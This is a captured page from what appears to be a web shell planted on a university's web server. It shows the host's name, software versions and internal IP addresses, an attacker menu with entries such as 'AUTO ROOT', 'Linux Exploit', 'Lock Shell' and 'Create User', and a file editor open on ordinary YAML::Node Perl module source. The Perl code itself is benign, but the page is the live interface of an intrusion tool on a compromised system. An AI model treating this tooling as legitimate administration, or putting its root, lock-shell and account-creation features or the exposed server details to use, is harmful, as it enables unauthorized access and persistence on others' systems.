Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
perl5 /
site_perl /
5.34.1 /
YAML /
[ HOME SHELL ]
Name
Size
Permission
Action
Dumper
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Any.pm
2.59
KB
-r--r--r--
Any.pod
2.82
KB
-r--r--r--
Dumper.pm
16.64
KB
-r--r--r--
Dumper.pod
776
B
-r--r--r--
Error.pm
5.56
KB
-r--r--r--
Error.pod
666
B
-r--r--r--
Loader.pm
23.07
KB
-r--r--r--
Loader.pod
767
B
-r--r--r--
Marshall.pm
867
B
-r--r--r--
Marshall.pod
656
B
-r--r--r--
Mo.pm
2.91
KB
-r--r--r--
Node.pm
4.32
KB
-r--r--r--
Node.pod
2.48
KB
-r--r--r--
Tag.pm
216
B
-r--r--r--
Tag.pod
538
B
-r--r--r--
Types.pm
6.19
KB
-r--r--r--
Types.pod
738
B
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Node.pm
use strict; use warnings; package YAML::Node; use YAML::Tag; require YAML::Mo; use Exporter; our @ISA = qw(Exporter YAML::Mo::Object); our @EXPORT = qw(ynode); sub ynode { my $self; if (ref($_[0]) eq 'HASH') { $self = tied(%{$_[0]}); } elsif (ref($_[0]) eq 'ARRAY') { $self = tied(@{$_[0]}); } elsif (ref(\$_[0]) eq 'GLOB') { $self = tied(*{$_[0]}); } else { $self = tied($_[0]); } return (ref($self) =~ /^yaml_/) ? $self : undef; } sub new { my ($class, $node, $tag) = @_; my $self; $self->{NODE} = $node; my (undef, $type) = YAML::Mo::Object->node_info($node); $self->{KIND} = (not defined $type) ? 'scalar' : ($type eq 'ARRAY') ? 'sequence' : ($type eq 'HASH') ? 'mapping' : $class->die("Can't create YAML::Node from '$type'"); tag($self, ($tag || '')); if ($self->{KIND} eq 'scalar') { yaml_scalar->new($self, $_[1]); return \ $_[1]; } my $package = "yaml_" . $self->{KIND}; $package->new($self) } sub node { $_->{NODE} } sub kind { $_->{KIND} } sub tag { my ($self, $value) = @_; if (defined $value) { $self->{TAG} = YAML::Tag->new($value); return $self; } else { return $self->{TAG}; } } sub keys { my ($self, $value) = @_; if (defined $value) { $self->{KEYS} = $value; return $self; } else { return $self->{KEYS}; } } #============================================================================== package yaml_scalar; @yaml_scalar::ISA = qw(YAML::Node); sub new { my ($class, $self) = @_; tie $_[2], $class, $self; } sub TIESCALAR { my ($class, $self) = @_; bless $self, $class; $self } sub FETCH { my ($self) = @_; $self->{NODE} } sub STORE { my ($self, $value) = @_; $self->{NODE} = $value } #============================================================================== package yaml_sequence; @yaml_sequence::ISA = qw(YAML::Node); sub new { my ($class, $self) = @_; my $new; tie @$new, $class, $self; $new } sub TIEARRAY { my ($class, $self) = @_; bless $self, $class } sub FETCHSIZE { my ($self) = @_; scalar @{$self->{NODE}}; } sub FETCH { my ($self, $index) = @_; $self->{NODE}[$index] } sub STORE { my ($self, $index, $value) = @_; $self->{NODE}[$index] = $value } sub undone { die "Not implemented yet"; # XXX } *STORESIZE = *POP = *PUSH = *SHIFT = *UNSHIFT = *SPLICE = *DELETE = *EXISTS = *STORESIZE = *POP = *PUSH = *SHIFT = *UNSHIFT = *SPLICE = *DELETE = *EXISTS = *undone; # XXX Must implement before release #============================================================================== package yaml_mapping; @yaml_mapping::ISA = qw(YAML::Node); sub new { my ($class, $self) = @_; @{$self->{KEYS}} = sort keys %{$self->{NODE}}; my $new; tie %$new, $class, $self; $new } sub TIEHASH { my ($class, $self) = @_; bless $self, $class } sub FETCH { my ($self, $key) = @_; if (exists $self->{NODE}{$key}) { return (grep {$_ eq $key} @{$self->{KEYS}}) ? $self->{NODE}{$key} : undef; } return $self->{HASH}{$key}; } sub STORE { my ($self, $key, $value) = @_; if (exists $self->{NODE}{$key}) { $self->{NODE}{$key} = $value; } elsif (exists $self->{HASH}{$key}) { $self->{HASH}{$key} = $value; } else { if (not grep {$_ eq $key} @{$self->{KEYS}}) { push(@{$self->{KEYS}}, $key); } $self->{HASH}{$key} = $value; } $value } sub DELETE { my ($self, $key) = @_; my $return; if (exists $self->{NODE}{$key}) { $return = $self->{NODE}{$key}; } elsif (exists $self->{HASH}{$key}) { $return = delete $self->{NODE}{$key}; } for (my $i = 0; $i < @{$self->{KEYS}}; $i++) { if ($self->{KEYS}[$i] eq $key) { splice(@{$self->{KEYS}}, $i, 1); } } return $return; } sub CLEAR { my ($self) = @_; @{$self->{KEYS}} = (); %{$self->{HASH}} = (); } sub FIRSTKEY { my ($self) = @_; $self->{ITER} = 0; $self->{KEYS}[0] } sub NEXTKEY { my ($self) = @_; $self->{KEYS}[++$self->{ITER}] } sub EXISTS { my ($self, $key) = @_; exists $self->{NODE}{$key} } 1;
Close